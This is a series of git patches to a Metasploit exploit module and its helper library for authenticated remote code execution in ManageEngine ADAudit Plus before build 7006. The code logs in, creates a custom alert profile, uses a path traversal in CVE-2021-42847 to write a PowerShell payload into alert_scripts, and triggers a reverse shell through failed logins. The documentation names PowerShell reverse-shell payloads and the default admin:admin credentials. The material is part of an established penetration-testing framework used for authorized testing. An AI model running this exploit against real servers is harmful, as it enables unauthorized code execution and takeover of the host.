gpo_watcher_data_check - res = send_request_cgi({ - 'uri' => gpo_watcher_data_uri, - 'method' => 'POST' - }) - - return 1 unless res - return 2 unless res.code == 200 - - 0 - end - - # this method will return an Array consisting of a return code and either a cookie, a failure message, or an empty string (if no cookie is needed) - # return code 0 means authentication succeeded - # return code 1 indicates failure corresponding to CheckCode::Unknown and Failure::Unknown - # return code 2 indicates invalid credentials, this corresponds to CheckCode::Safe and Failure::NoAccess - def authenticate(mode = 'standard') - # Make sure domain_alias is populated in case the user opted not to run the check code. - if @domain_alias.blank? - @domain_alias = auth_domain - end - - if mode == 'trigger_payload' - cookie_jar.clear # let's start fresh - print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.") - trigger_attempt_fail_message = " You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain." - else - trigger_attempt_fail_message = '' - end - - # visit the default page again to get required cookies - res_initial_cookies = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET', - 'keep_cookies' => true - }) - - unless res_initial_cookies - return [1, "Connection failed.#{trigger_attempt_fail_message}"] - end - - unless res_initial_cookies.code == 200 && res_initial_cookies.headers.include?('Set-Cookie') - return [1, "Failed to obtain the necessary cookies to proceed.#{trigger_attempt_fail_message}"] - end - - # visit another page for more required cookies - unless mode == 'silent' - vprint_status('Attempting to obtain the required cookies for authentication') - end - res_extra_cookies = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'adsf', 'js', 'common', 'JumpTo.js'), - 'method' => 'GET', - 'keep_cookies' => true - }) - - unless res_extra_cookies - return [1, "Connection failed.#{trigger_attempt_fail_message}"] - end - - unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-z0-9]{128}/ - return [1, "Failed to obtain the cookies required for authentication.#{trigger_attempt_fail_message}"] - end - - if mode == 'trigger_payload' # We should provide incorrect credentials to trigger the custom alert profile - post_vars = { - 'forChecking' => '', - 'j_username' => rand_text_alphanumeric(5..8), - 'j_password' => rand_text_alphanumeric(8..12), - 'domainName' => @domain_alias, - 'AUTHRULE_NAME' => 'Authenticator' - } - else - post_vars = { - 'forChecking' => '', - 'j_username' => username, - 'j_password' => password, - 'domainName' => auth_domain, - 'AUTHRULE_NAME' => 'Authenticator' - } - end - - if mode == 'standard' - print_status('Trying to authenticate...') - end - res_login = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'j_security_check'), - 'method' => 'POST', - 'keep_cookies' => true, - 'vars_post' => post_vars - }) - - if mode == 'trigger_payload' - # if we're only here to trigger the payload, we should only verify the response code and HTTP title - if res_login - if res_login.code == 200 && res_login.body =~ /<title>ADAudit Plus/ - print_status("Trigger attempt completed. Let's hope we get a shell...") - else - print_warning('Received unexpected reply after sending the trigger request. Exploitation may not work.') - end - else - print_error('Connection failed while trying to trigger the payload, exploitation most likely failed.') - print_error(trigger_attempt_fail_message) - end - - # we don't need to return a cookie here so let's set it to an empty string - return [0, ''] - end - - unless res_login - return [1, 'Connection failed'] - end - - unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') - return [2, 'Failed to authenticate.'] - end - - # check if we are actually logged in by visiting the home page - res_post_auth = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET', - 'keep_cookies' => true - }) - - unless res_post_auth - return [1, 'Connection failed'] - end - - unless res_post_auth.code == 200 && res_post_auth.body.include?('ManageEngine ADAudit Plus web client is initializing') - return [2, 'The web app failed to load after authenticating'] - end - - # return the value of the adapcsrf cookie, which will be required for later actions - adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first - if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? - return [2, 'Failed to obtain the required adapcsrf cookie'] - end - - # In order to get a cookie we can actually use, we now need to obtain the configured domains via the api - if mode == 'silent' - return obtain_configured_domains(adapcsrf_cookie.value, silent: true) - end - - csrf_res, adapcsrf_cookie = obtain_configured_domains(adapcsrf_cookie.value) - - case csrf_res - when 1 - return [1, 'Authentication succeeded, but the connection failed while attempting to obtain the adapcsrf cookie required for further requests'] - when 2 - return [2, 'Authentication succeeded, but it was not possible to obtain the adapcsrf cookie required for further requests'] - end - - print_good('Successfully authenticated') - return [0, adapcsrf_cookie] - end - - def check_build(adapcsrf_cookie) - # for this to work we'll first have to obtain the configured domains - - vprint_status('Attempting to obtain the ADAudit Plus build number') - - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'tabs', 'showLicenseDetails'), - 'method' => 'POST', - 'keep_cookies' => true, - 'vars_post' => { - 'adapcsrf' => adapcsrf_cookie - } - }) - - unless res - return CheckCode::Unknown('Connection failed') - end - - unless res.code == 200 && res.body =~ /"buildNumber":".*?",/ - return CheckCode::Unknown('Received unexpected reply when attempting to obtain the build number.') - end - - build = res.body.scan(/"buildNumber":"(.*?)",/)&.flatten&.first - if build.blank? - return CheckCode::Detected('No build number was obtained.') - end - - begin - build_version = Rex::Version.new(build) - rescue StandardError - return CheckCode::Unknown("Recieved an invalid build number: #{build}") - end - - if build_version < Rex::Version.new('7004') - @exploit_method = 'default' - return CheckCode::Appears("The target is ADAudit Plus #{build_version}") - end - - # For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists - if build_version < Rex::Version.new('7006') - endpoint_check = gpo_watcher_data_check - case endpoint_check - when 0 - @exploit_method = 'cve_2021_42847' - return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.") - when 1 - return CheckCode::Unknown("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint") - when 2 - return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.") - end - end - - return CheckCode::Safe("The target is ADAudit Plus #{build_version}") - end - - def obtain_configured_domains(adapcsrf_cookie, silent: false) - unless silent - vprint_status('Attempting to obtain the list of configured domains...') - end - - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'configuredDomainsList'), - 'method' => 'POST', - 'keep_cookies' => true, - 'vars_post' => { - 'JSONString' => '{"checkGDPR":true}', - 'adapcsrf' => adapcsrf_cookie - } - }) - - unless res - return [1, 'Connection failed while attempting to obtain the list of configured domains...'] - end - - if res.code == 200 && res.body.include?('domainFullList') - unless silent - begin - domain_info = JSON.parse(res.body) - if domain_info.blank? || !domain_info.include?('domainFullList') || domain_info['domainFullList'].empty? - print_warning('Failed to identify any configured domains. The module will continue but exploitation may fail.') - else - domain_full_list = domain_info['domainFullList'] - print_status("Found #{domain_full_list.length} configured domain(s):") - - if domain_full_list&.first&.include?('name') - @domain = domain_full_list.first['name'] - vprint_status("Using domain #{@domain} for the name of the directory we will be creating") - end - - domain_full_list.each do |domain| - d_name = domain['name'] - value = domain['value'] - print_status("- #{d_name}: #{value}") - end - end - rescue JSON::ParserError => e - print_error('Failed to identify any configured domains - The server response did not contain valid JSON.') - print_error("Error was: #{e.message}") - end - end - else - print_warning('Failed to obtain the list of configured domains. This is not critical, but is unexpected behavior, so the exploit may fail.') - end - - # return the value of the adapcsrf cookie, which will be required for later actions - adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first - if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? - return [2, 'Failed to obtain the required adapcsrf cookie'] - end - - [0, adapcsrf_cookie.value] - end - def delete_alert(adapcsrf_cookie) print_status("Attempting to delete alert profile #{@alert_name}") # let's try and get the the ID of the alert we want to delete @@ -433,21 +162,21 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Attempting to authenticate again in order to retrieve the required cookies.') # we have to authenticate again in order to get the required cookie cookie_jar.clear - auth_res_code, cookie_or_err_msg = authenticate('silent') - case auth_res_code - when 1 - fail_with(Failure::Unknown, cookie_or_err_msg) - when 2 - fail_with(Failure::NoAccess, cookie_or_err_msg) + login_status, login_msg, csrf_cookie = adaudit_plus_login('silent', auth_domain, username, password) + case login_status + when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::Unknown, login_msg) + when adaudit_plus_status::NO_ACCESS + fail_with(Failure::NoAccess, login_msg) end - @adapcsrf_cookie = cookie_or_err_msg + @adapcsrf_cookie = csrf_cookie end print_status('Attempting to create an alert profile') # visit /api/json/jsMessage to see if we're dealing with 7003 or lower res_check_7004 = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'jsMessage'), + 'uri' => adaudit_api_js_message_uri, 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'adapcsrf' => @adapcsrf_cookie } @@ -468,22 +197,24 @@ class MetasploitModule < Msf::Exploit::Remote # we are dealing with 7004 or higher. so exploitation can only succeed if the exploit method is cve_2021_42847 unless @exploit_method == 'cve_2021_42847' # let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck - gpo_watcher_data_res = gpo_watcher_data_check - unless gpo_watcher_data_res == 0 + gpo_watcher_status = gpo_watcher_data_check + if gpo_watcher_status == adaudit_plus_status::SUCCESS + @exploit_method = 'cve_2021_42847' + else fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.') end # here we have to authenticate again in order to get the required cookie cookie_jar.clear - auth_res_code, cookie_or_err_msg = authenticate('silent') - case auth_res_code - when 1 - fail_with(Failure::Unknown, cookie_or_err_msg) - when 2 - fail_with(Failure::NoAccess, cookie_or_err_msg) + login_status, login_msg, csrf_cookie = adaudit_plus_login('silent', auth_domain, username, password) + case login_status + when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::Unknown, login_msg) + when adaudit_plus_status::NO_ACCESS + fail_with(Failure::NoAccess, login_msg) end - @adapcsrf_cookie = cookie_or_err_msg + @adapcsrf_cookie = csrf_cookie end # we need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name when creating the alert profile @@ -493,7 +224,7 @@ class MetasploitModule < Msf::Exploit::Remote # save the alert profile @alert_name, alert_data = alert_profile_info res_save_alert = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'save'), + 'uri' => adaudit_api_alertprofiles_save_uri, 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { @@ -566,24 +297,17 @@ class MetasploitModule < Msf::Exploit::Remote vprint_status("Using domain #{@domain} for the name of the directory we will be creating") end - json_post_data = { - 'isGPOData' => true, + gpo_post_data = { 'DOMAIN_NAME' => @domain, - # match the standard format for GPO GUIDs for a dash of extra stealth - 'GPO_GUID' => "{#{Rex::Text.rand_text_alphanumeric(8)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(12)}}".downcase, - 'GPO_VERSION' => rand(1..9), - # use the same VER_FILE_NAME format as ADAudit Plus for a dash of extra stealth - 'VER_FILE_NAME' => "#{rand(1..9)}_#{Rex::Text.rand_text_numeric(18)}".downcase + '.xml', - 'xmlReport' => '<?xml version="1.0" encoding="utf-16"?>', 'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed 'htmlReport' => payload.encoded - }.to_json + } res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'api', 'agent', 'tabs', 'agentGPOWatcherData'), + 'uri' => adaudit_plus_gpo_watcher_data_uri, 'ctype' => 'application/json', - 'data' => json_post_data + 'data' => generate_gpo_watcher_data_json(gpo_post_data) }) unless res @@ -599,57 +323,79 @@ class MetasploitModule < Msf::Exploit::Remote end def check - # visit the default page to check if the target is ADAudit Plus - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET' - }) - - unless res - return CheckCode::Unknown('Connection failed') - end - - unless res.code == 200 && res.body =~ /<title>ADAudit Plus/ - return CheckCode::Safe('Does not appear to be ADAudit Plus') + target_check_status, target_check_msg, target_check_res = adaudit_plus_target_check + case target_check_status + when adaudit_plus_status::CONNECTION_FAILED + return CheckCode::Unknown(target_check_msg) + when adaudit_plus_status::UNEXPECTED_REPLY + return CheckCode::Safe(target_check_msg) + when adaudit_plus_status::SUCCESS + vprint_status(target_check_msg) end # in order to trigger the final payload in the exploit method, we will need to send an authentication request to ADAudit Plus with incorrect active directory credentials # if the user didn't provide an active directory domain, we can try to extract the FQDN for a configured domain from the server response - domain_aliases = res.body.scan(/<select id="domainName" name="domainName".*?<option value="(.*?)">/m)&.flatten - - if domain_aliases.blank? - return CheckCode::Safe("No configured active directory domains were found. The target may or may not be vulnerable but the module won't be able to trigger the payload.") + domain_alias_status, domain_alias_msg, domain_aliases = adaudit_plus_grab_domain_aliases(target_check_res.body) + if domain_alias_status == adaudit_plus_status::NO_MATCH + return CheckCode::Safe(domain_alias_msg) end - if auth_domain == 'ADAuditPlus Authentication' + if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain) + vprint_status(domain_alias_msg) @domain_alias = domain_aliases.first + print_status("Using configured authentication domain alias #{@domain_alias}.") else - unless domain_aliases.include?(auth_domain) - print_status('Identified the following configured authentication domain(s):') - domain_aliases.each do |dom| - print_line("- #{dom}") - end - return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") + print_status(domain_alias_msg) + return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") + end + + login_status, login_msg, csrf_cookie, configured_domains = adaudit_plus_login('standard_auth', auth_domain, username, password) + case login_status + when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY + return CheckCode::Unknown(login_msg) + when adaudit_plus_status::NO_ACCESS + return CheckCode::Safe(login_msg) + when adaudit_plus_status::NO_MATCH + # this means we got a cookie but no configured domains + print_error(login_msg) + print_warning('The module will proceed, but exploitation may fail.') + when adaudit_plus_status::SUCCESS + @domain = configured_domains.first + vprint_status("Using domain #{@domain} for the name of the directory we will be creating") + end + + print_good('Successfully authenticated') + @adapcsrf_cookie = csrf_cookie + + # check the build version to see if we can actually exploit the target + build_status, build_msg, build_version = adaudit_plus_grab_build(csrf_cookie) + case build_status + when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY + return CheckCode::Unknown(build_msg) + when adaudit_plus_status::NO_MATCH + return CheckCode::Detected(build_msg) + end + + if build_version < Rex::Version.new('7004') + @exploit_method = 'default' + return CheckCode::Appears("The target is ADAudit Plus #{build_version}") + end + + # For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists + if build_version < Rex::Version.new('7006') + gpo_watcher_status = gpo_watcher_data_check + case gpo_watcher_status + when adaudit_plus_status::SUCCESS + @exploit_method = 'cve_2021_42847' + return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.") + when adaudit_plus_status::CONNECTION_FAILED + return CheckCode::Unknown("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint") + when adaudit_plus_status::NO_ACCESS + return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.") end - - @domain_alias = auth_domain end - print_status("Using configured authentication domain alias #{@domain_alias}.") - - # in order to obtain the build version, we need to authenticate - auth_res_code, cookie_or_err_msg = authenticate - case auth_res_code - when 1 - return CheckCode::Unknown(cookie_or_err_msg) - when 2 - return CheckCode::Safe(cookie_or_err_msg) - end - - @adapcsrf_cookie = cookie_or_err_msg - - # check the build version - check_build(cookie_or_err_msg) + return CheckCode::Safe("The target is ADAudit Plus #{build_version}") end def exploit @@ -663,28 +409,56 @@ class MetasploitModule < Msf::Exploit::Remote if @adapcsrf_cookie.blank? # let's clear the cookie jar and try to authenticate cookie_jar.clear - auth_res_code, cookie_or_err_msg = authenticate - - case auth_res_code - when 1 - fail_with(Failure::Unknown, cookie_or_err_msg) - when 2 - fail_with(Failure::NoAccess, cookie_or_err_msg) + login_status, login_msg, csrf_cookie, configured_domains = adaudit_plus_login('standard_auth', auth_domain, username, password) + case login_status + when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::Unknown, login_msg) + when adaudit_plus_status::NO_ACCESS + fail_with(Failure::NoAccess, login_msg) + when adaudit_plus_status::NO_MATCH + # this means we got a cookie but no configured domains + print_error(login_msg) + print_warning('The module will proceed, but exploitation may fail.') + when adaudit_plus_status::SUCCESS + @domain = configured_domains.first + vprint_status("Using domain #{@domain} for the name of the directory we will be creating") end - @adapcsrf_cookie = cookie_or_err_msg + print_good('Successfully authenticated') + @adapcsrf_cookie = csrf_cookie end # let's create the alert profile create_alert_profile # time to trigger the payload - auth_res_code, cookie_or_err_msg = authenticate('trigger_payload') - case auth_res_code - when 1 - fail_with(Failure::Unknown, cookie_or_err_msg) - when 2 - fail_with(Failure::NoAccess, cookie_or_err_msg) + if @domain_alias.nil? + # this means check didn't run, so we need to obtain the configured active directory domains + target_check_status, target_check_msg, target_check_res = adaudit_plus_target_check + unless target_check_status == adaudit_plus_status::SUCCESS + print_error('Failed to obtain the configured Active Directory domain aliases') + fail_with(Failure::Unknown, target_check_msg) + end + + domain_alias_status, domain_alias_msg, domain_aliases = adaudit_plus_grab_domain_aliases(target_check_res.body) + if domain_alias_status == adaudit_plus_status::NO_MATCH + fail_with(Failure::NotVulnerable, domain_alias_msg) + end + + if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain) + vprint_status(domain_alias_msg) + @domain_alias = domain_aliases.first + print_status("Using configured authentication domain alias #{@domain_alias}.") + else + print_status(domain_alias_msg) + fail_with(Failure::BadConfig, "The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") + end + end + + login_status, login_msg = adaudit_plus_login('trigger_payload', @domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12)) + case login_status + when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::Unknown, login_msg) end @pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session @@ -697,13 +471,13 @@ class MetasploitModule < Msf::Exploit::Remote print_error('Failed to obtain a shell. You could try increasing the WfsDelay value') end cookie_jar.clear - auth_res_code, cookie_or_err_msg = authenticate('silent') - unless auth_res_code == 0 + login_status, _login_msg, csrf_cookie = adaudit_plus_login('silent', auth_domain, username, password) + case login_status + when adaudit_plus_status::SUCCESS, adaudit_plus_status::NO_MATCH + delete_alert(csrf_cookie) + else print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.') - return end - - delete_alert(cookie_or_err_msg) end def on_new_session(cli) From 32796b429bf8be07943055481732f18000609708 Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Fri, 28 Oct 2022 17:12:10 +0300 Subject: [PATCH 04/26] add note about payload limitations for builds 7004 and 7005 --- .../windows/http/manageengine_adaudit_plus_authenticated_rce.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md index b4c7659ffa..317c87d275 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -11,6 +11,8 @@ For versions prior to build 7004, the payload is directly inserted in the custom For builds 7004 and 7005, the module leverages an arbitrary file write vulnerability (CVE-2021-42847) to create a Powershell script in the alert_scripts directory that contains the payload. The name of this script is then provided as the value for the custom alert script component of the alert profile. +For these builds, meterpreter payloads such as cmd/windows/powershell/meterpreter/reverse_tcp do not seem to work +and only the cmd/windows/powershell_reverse_tcp payload has been tested successfully. The module will automatically delete the created alert profile before completing. This happens even if no shell was obtained. From e639460b9fb43a95d535912ca316de4c986765fc Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Fri, 28 Oct 2022 18:03:01 +0300 Subject: [PATCH 05/26] fix library comments for json_post_data.rb --- .../remote/http/manageengine_adaudit_plus/json_post_data.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/json_post_data.rb b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/json_post_data.rb index be4056464c..7266baad8c 100644 --- a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/json_post_data.rb +++ b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/json_post_data.rb @@ -1,8 +1,9 @@ # -*- coding: binary -*- module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::JsonPostData - # Returns the URI for the GPOWatcherData endpoint + # Generates a JSON hash according to the format required by the GPOWatcherData endpoint # - # @return [String] ManageEnginge ADAudit Plus GPOWatcherData endpoint URI + # @param options [Hash] Hash containing parameters to include in the JSON hash. The parameters can be Booleans, Strings and/or Integers + # @return [JSON] A JSON hash matching the format required by the GPOWatcherData endpoint def generate_gpo_watcher_data_json(options) post_data = {} post_data['isGPOData'] = options['isGPOData'] || true From d5032f0a5d0bc29bf7900fbfce8ff1417eb06dd2 Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Tue, 8 Nov 2022 14:12:12 -0600 Subject: [PATCH 06/26] Minor touchups on documentation for review --- ...geengine_adaudit_plus_authenticated_rce.md | 32 +++++++++---------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md index 317c87d275..62302e5b26 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -1,35 +1,35 @@ ## Vulnerable Application -The module exploits security issues in ManageEngine ADAudit Plus prior to 7006 that allow authenticated users to execute arbitrary code +This module exploits security issues in ManageEngine ADAudit Plus prior to 7006 that allow authenticated users to execute arbitrary code by creating a custom alert profile and leveraging the custom alert script component. -The module first runs a few checks to test the provided credentials, retrieve the configured domain(s) and obtain the build number. -If the credentials are valid and the target is vulnerable, the module creates an alert profile that will be triggered -for any failed login attempt to the configured domain. +This module first runs a few checks to test the provided credentials, retrieve the configured domain(s) and +obtain the build number of ManageEngine. If the credentials are valid and the target is vulnerable, the module +creates an alert profile that will be triggered for any failed login attempt to the configured domain. For versions prior to build 7004, the payload is directly inserted in the custom alert script component of the alert profile. For builds 7004 and 7005, the module leverages an arbitrary file write vulnerability (CVE-2021-42847) to create a Powershell script in the alert_scripts directory that contains the payload. The name of this script is then provided as the value for the custom -alert script component of the alert profile. -For these builds, meterpreter payloads such as cmd/windows/powershell/meterpreter/reverse_tcp do not seem to work -and only the cmd/windows/powershell_reverse_tcp payload has been tested successfully. +alert script component of the alert profile. For these builds, Meterpreter payloads such as +`cmd/windows/powershell/meterpreter/reverse_tcp` do not seem to work and only the `cmd/windows/powershell_reverse_tcp` +payload has been tested successfully. -The module will automatically delete the created alert profile before completing. This happens even if no shell was obtained. +This module will automatically delete the created alert profile before completing. This happens even if no shell was obtained. This module requires valid credentials for an account with the privileges to create alert scripts. -It has been successfully tested against ManageEngine ADAudit Plus builds 7003 and 7005 running on Windows Server 2012 R2. +It has been successfully tested against ManageEngine ADAudit Plus builds [7003](https://archives2.manageengine.com/active-directory-audit/7003/ManageEngine_ADAudit_Plus_x64.exe) +and [7005](https://archives2.manageengine.com/active-directory-audit/7005/ManageEngine_ADAudit_Plus_x64.exe) running on Windows Server 2012 R2. Successful exploitation will result in RCE as the user running ManageEngine ADAudit Plus, which will typically be the local administrator. ## Installation Information -Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/). +Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/). Versions 7005 and prior +are vulnerable by default, so no special configuration is required after installing the application. After running the installer, you can launch ADAudit Plus by opening Command Prompt with administrator privileges -and then running: `<install_dir>\bin\run.bat` +and then running: `<install_dir>\bin\run.bat`. -Versions 7005 and prior are vulnerable by default, so no special configuration is required after installing the application. - -The default ADAudit Plus credentials (set as default options for the module) are `admin`:`admin` +The default ADAudit Plus credentials (set as default options for the module) are `admin`:`admin`. ## Verification Steps 1. Start msfconsole @@ -46,10 +46,10 @@ The ADAudit Plus authentication domain to use. The default is `ADAuditPlus Authe does not match an authentication domain that is configured for the target, the module will throw an error and inform the user. ### USERNAME -Username to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials +Username to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials. ### PASSWORD -Password to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials +Password to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials. ## Scenarios ### ManageEngine ADAudit Plus build 7003 running on Windows Server 2012 R2 From 61d1cf14604ef8ab5af3d206ca4bd4f60972c06e Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Tue, 8 Nov 2022 20:38:26 -0600 Subject: [PATCH 07/26] Fix up things identified during review --- .../remote/http/manageengine_adaudit_plus.rb | 2 + .../http/manageengine_adaudit_plus/login.rb | 47 ++++++++++--------- .../manageengine_adaudit_plus/target_info.rb | 17 +++---- .../http/manageengine_adaudit_plus/uris.rb | 22 +++++++-- 4 files changed, 53 insertions(+), 35 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb index da81a02c1a..accc542775 100644 --- a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb +++ b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb @@ -28,6 +28,8 @@ module Msf ) end + # Alias for Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus + # @return [Module] Returns the Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus module reference. def adaudit_plus_status Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus end diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/login.rb b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/login.rb index fc775301a4..61daaaface 100644 --- a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/login.rb +++ b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/login.rb @@ -1,15 +1,15 @@ # -*- coding: binary -*- module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login - include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo # for + include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::URIs - # performs a ManageEngine ADAudit Plus login + # Performs a ManageEngine ADAudit Plus login. # - # @param mode [String] Mode - # @param auth_domain [String] Authentication domain - # @param user [String] Username - # @param pass [String] Password - # @return [Array] Array containing two to four items, depending on the results: a status code (Integer), a status message (String), a cookie (String), an Array of configured domains as Strings + # @param mode [String] A string denoting the mode this function should be run in. Can be standard_auth for standard authorization, trigger_payload for when we are triggering a payload, or silent to reduce output. + # @param auth_domain [String] The authentication domain to use to log in. + # @param user [String] The username to log in as. + # @param pass [String] The password to log in with. + # @return [Array] Array containing a a status code (Integer) and a status message (String). If login succeeds, will also contain a cookie (String), and an Array of configured domains as Strings as the third and fourth parameters respectively. def adaudit_plus_login(mode, auth_domain, user='', pass='') cookie_jar.clear # let's start fresh if mode == 'trigger_payload' @@ -19,7 +19,7 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login trigger_attempt_fail_message = '' end - # visit the default page again to get required cookies + # Visit the default homepage to retrieve some of the baseline cookies needed to authenticate. res_initial_cookies = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', @@ -31,10 +31,10 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login end unless res_initial_cookies.code == 200 && res_initial_cookies.headers.include?('Set-Cookie') - return [adaudit_plus_status::UNEXPECTED_REPLY, "Failed to obtain the necessary cookies to proceed.#{trigger_attempt_fail_message}"] + return [adaudit_plus_status::UNEXPECTED_REPLY, "Failed to obtain the baseline cookies needed to proceed with authentication.#{trigger_attempt_fail_message}"] end - # visit another page for more required cookies + # Visit the adaudit_plus_jump_to_js_uri page to grab more cookies needed for authentication. unless mode == 'silent' vprint_status('Attempting to obtain the required cookies for authentication') end @@ -50,7 +50,7 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login end unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-z0-9]{128}/ - return [adaudit_plus_status::UNEXPECTED_REPLY, "Failed to obtain the cookies required for authentication.#{trigger_attempt_fail_message}"] + return [adaudit_plus_status::UNEXPECTED_REPLY, "Failed to obtain the jump_to_js cookies required for authentication.#{trigger_attempt_fail_message}"] end case mode @@ -62,9 +62,9 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login post_vars = { 'forChecking' => '', - 'j_username' => user, - 'j_password' => pass, - 'domainName' => auth_domain, + 'j_username' => user.to_s, + 'j_password' => pass.to_s, + 'domainName' => auth_domain.to_s, 'AUTHRULE_NAME' => 'Authenticator' } @@ -75,8 +75,11 